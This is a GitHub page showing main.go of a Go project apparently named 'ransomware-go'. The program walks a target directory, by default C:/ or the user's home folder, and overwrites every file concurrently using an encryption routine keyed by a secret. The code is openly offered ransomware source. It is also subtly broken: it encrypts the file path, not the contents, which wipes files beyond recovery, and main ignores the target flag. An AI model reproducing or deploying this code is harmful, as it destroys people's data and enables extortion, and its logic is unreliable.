-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.go
86 lines (70 loc) · 1.39 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main
import (
"fmt"
"os"
"flag"
"sync"
"runtime"
"strings"
"io/ioutil"
"path/filepath"
"ransomware-go/crypt"
)
var (
wg sync.WaitGroup
decrypt bool
secret string
target string
)
func init() {
flag.BoolVar(&decrypt, "decrypt", false, "--decrypt")
flag.StringVar(&secret, "secret", "", "--secret=your_secret")
flag.StringVar(&target, "target", "", "--target=your_path_target")
flag.Parse()
if len(target) == 0 {
if runtime.GOOS == "windows" {
target = "C:/"
} else {
target = "/home/" + os.Getenv("USER")
}
}
}
func fileCrypt(filePath string) {
defer wg.Done()
var newFileName string
if decrypt {
newFileName = crypt.Decrypt([]byte(filePath), secret)
} else {
newFileName = crypt.Encrypt([]byte(filePath), secret)
}
ioutil.WriteFile(filePath, []byte(newFileName), 0644)
}
func start(path string) {
defer wg.Done()
pathInfo, err := os.Stat(path)
if err != nil {
fmt.Println(err)
return
}
switch mode := pathInfo.Mode(); {
case mode.IsDir():
filepath.Walk(path, func(relativePath string, info os.FileInfo, err error) error {
if strings.Compare(path, relativePath) != 0 {
wg.Add(1)
go fileCrypt(relativePath)
}
return nil
})
case mode.IsRegular():
wg.Add(1)
go fileCrypt(path)
}
}
func main() {
if len(secret) == 0 {
panic("Invalid secret, try: --secret=your_secret")
}
wg.Add(1)
go start("./test")
wg.Wait()
}